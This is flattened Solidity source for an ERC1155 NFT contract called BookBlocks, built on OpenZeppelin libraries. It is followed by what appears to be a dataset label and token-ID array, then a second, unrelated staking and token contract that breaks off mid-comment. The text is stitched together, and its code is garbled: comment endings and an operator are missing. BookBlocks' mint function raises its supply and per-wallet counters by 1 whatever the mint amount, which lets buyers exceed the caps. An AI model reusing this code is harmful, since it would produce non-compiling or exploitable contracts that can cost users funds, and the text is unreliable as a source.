the actual token type ID. / function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ / contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /* * @dev See {_setURI}. / constructor(string memory uri_) { _setURI(uri_); } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId \|\| interfaceId == type(IERC1155MetadataURI).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for all token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. / function uri(uint256) public view virtual override returns (string memory) { return _uri; } /* * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. / function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /* * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. / function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /* * @dev See {IERC1155-setApprovalForAll}. / function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /* * @dev See {IERC1155-isApprovedForAll}. / function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /* * @dev See {IERC1155-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() \|\| isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /* * @dev See {IERC1155-safeBatchTransferFrom}. / function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() \|\| isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /* * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. / function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. / function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /* * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. / function _setURI(string memory newuri) internal virtual { _uri = newuri; } /* * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. / function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. / function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /* * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. / function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /* * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. / function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /* * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. / function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /* * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol // OpenZeppelin Contracts v4.4.0 (token/ERC1155/extensions/ERC1155Supply.sol) pragma solidity ^0.8.0; /* * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. / abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /* * @dev Total amount of tokens in with a given id. / function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /* * @dev Indicates whether any token exist with a given id, or not. / function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /* * @dev See {ERC1155-_beforeTokenTransfer}. / function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } if (to == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } } // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: BookBlocks.sol pragma solidity ^0.8.7; contract BookBlocks is ERC1155, Ownable, ERC1155Supply { // Token ids uint256 public constant bookBlocks = 0; // Cost uint256 public cost = 0.5275 ether; // Max limit and supply uint256 public maxMintAmount = 100; uint256 public maxSupply = 200; // total minted uint256 minted = 0; // If contracted paused bool public paused = false; // Minted balance by address uint256 public nftPerAddressLimit = 100; mapping(address => uint256) public addressMintedBalance; // baseURI string public baseURI; string public baseExtension = ".json"; constructor(string memory _initBaseURI) ERC1155(_initBaseURI) { baseURI = _initBaseURI; mint(100); } function mint(uint256 _mintAmount) public payable { require(!paused, "The contract is paused"); require(_mintAmount > 0, "Need to mint at least 1 NFT"); require(_mintAmount <= maxMintAmount, "Max mint amount per session exceeded"); require(minted + _mintAmount <= maxSupply, "Max NFT limit exceeded"); uint256 mintedCount = addressMintedBalance[msg.sender]; require(mintedCount + _mintAmount <= nftPerAddressLimit, "Max limit per wallet reached"); if (msg.sender != owner()) { require(msg.value >= _mintAmount * cost, "Insufficient Balance"); } _mint(msg.sender, bookBlocks, _mintAmount, ""); minted++; addressMintedBalance[msg.sender]++; } function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal override(ERC1155, ERC1155Supply) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } function totalSupplys() public view returns (uint256) { return minted; } function setURI(string memory newuri) public onlyOwner { baseURI = newuri; _setURI(newuri); } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setnftPerAddressLimit(uint256 _nftPerAddressLimit) public onlyOwner { nftPerAddressLimit = _nftPerAddressLimit; } function pause() public onlyOwner { paused = true; } function unpause() public onlyOwner { paused = false; } function uri(uint256 _tokenId) override public view returns(string memory) { return string( abi.encodePacked(baseURI, Strings.toString(_tokenId), baseExtension) ); } function withdraw() public onlyOwner { require(address(this).balance > 0, "Balance is 0"); payable(owner()).transfer(address(this).balance); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 2654, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1014, 1006, 21183, 12146, 1013, 6123, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 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/** Submitted for verification at Etherscan.io on 2022-03-29 / pragma solidity ^0.8.4; //import "./ReentrancyGuard.sol"; // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (security/ReentrancyGuard.sol) //pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. / abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /* * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. / modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } //pragma solidity ^0.8.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } //pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } //import "./SafeERC20.sol"; //pragma solidity ^0.8.0; //import "./IERC20.sol"; //import "./Address.sol"; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } //import "./ISTAKING.sol"; /* * @dev Public interface for the staking functions / interface ISTAKING{ /* * @dev Stakes a certain amount of tokens, this will attempt to transfer the given amount from the caller. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. / function stake(uint256 amount) external returns (uint256); / * @dev Stakes a certain amount of tokens on behalf of address `user`, * this will attempt to transfer the given amount from the caller. * caller must have approved this contract, previously. * It will count the actual number of tokens trasferred as being staked * MUST trigger Staked event. * Returns the number of tokens actually staked / function stakeFor(address voter, address staker, uint256 amount) external returns (uint256); / * @dev Unstakes a certain amount of tokens, this SHOULD return the given amount of tokens to the caller, * MUST trigger Unstaked event. / function unstake(uint256 amount) external; /* * @dev Unstakes a certain amount of tokens currently staked on behalf of address `user`, * this SHOULD return the given amount of tokens to the caller * caller is responsible for returning tokens to `user` if applicable. * MUST trigger Unstaked event. / function unstakeFor(address voter, address staker, uint256 amount) external; /* * @dev Returns the current total of tokens staked for address addr. / function totalStakedFor(address addr) external view returns (uint256); /* * @dev Returns the current tokens staked by address `delegate` for address `user`. / function stakedFor(address user, address delegate) external view returns (uint256); /* * @dev Returns the number of current total tokens staked. / function totalStaked() external view returns (uint256); /* * @dev address of the token being used by the staking interface / function token() external view returns (address); /* Event * `voter` the address that will cast votes weighted by the number of tokens staked for `voter` * `staker` the address staking for `voter` - tokens are transferred from & returned to `staker` * `proxy` is the Staking Proxy contract that is approved by `staker` to perform the token transfer * `amount` is the value of tokens to be staked / event Staked(address indexed voter, address indexed staker, address proxy, uint256 amount); / Event * `voter` the address that will cast votes weighted by the number of tokens staked for `voter` * `staker` the address staking for `voter` - tokens are transferred from & returned to `staker` * `proxy` is the Staking Proxy contract that is approved by `staker` to perform the token transfer * `amount` is the value of tokens to be staked / event Unstaked(address indexed voter, address indexed staker, address proxy, uint256 amount); } //import "./ISTAKINGPROXY.sol"; interface ISTAKINGPROXY{ / * @dev a callback to perform the actual transfer of tokens to the actual staking contract * Precondition: the user doing the staking MUST approve this contract or we'll revert / function proxyTransfer(address from, uint256 amount) external; } //import "./ITOKENLOCK.sol"; / * @dev Inteface for the token lock features in this contract / interface ITOKENLOCK { /* * @dev Emitted when the token lock is initialized * `tokenHolder` is the address the lock pertains to * `amountLocked` is the amount of tokens locked * `time` is the (initial) time at which tokens were locked * `unlockPeriod` is the time interval at which tokens become unlockedPerPeriod * `unlockedPerPeriod` is the amount of token unlocked earch unlockPeriod / event NewTokenLock(address tokenHolder, uint256 amountLocked, uint256 time, uint256 unlockPeriod, uint256 unlockedPerPeriod); /* * @dev Emitted when the token lock is updated to be more strict * `tokenHolder` is the address the lock pertains to * `amountLocked` is the amount of tokens locked * `time` is the (initial) time at which tokens were locked * `unlockPeriod` is the time interval at which tokens become unlockedPerPeriod * `unlockedPerPeriod` is the amount of token unlocked earch unlockPeriod / event UpdateTokenLock(address tokenHolder, uint256 amountLocked, uint256 time, uint256 unlockPeriod, uint256 unlockedPerPeriod); /* * @dev Lock `baseTokensLocked_` held by the caller with `unlockedPerEpoch_` tokens unlocking each `unlockEpoch_` * * * Emits an {NewTokenLock} event indicating the updated terms of the token lockup. * * Requires msg.sender to: * * - Must not be a prevoius lock for this address. If so, it must be first cleared with a call to {clearLock}. * - Must have at least a balance of `baseTokensLocked_` to lock * - Must provide non-zero `unlockEpoch_` * - Must have at least `unlockedPerEpoch_` tokens to unlock * - 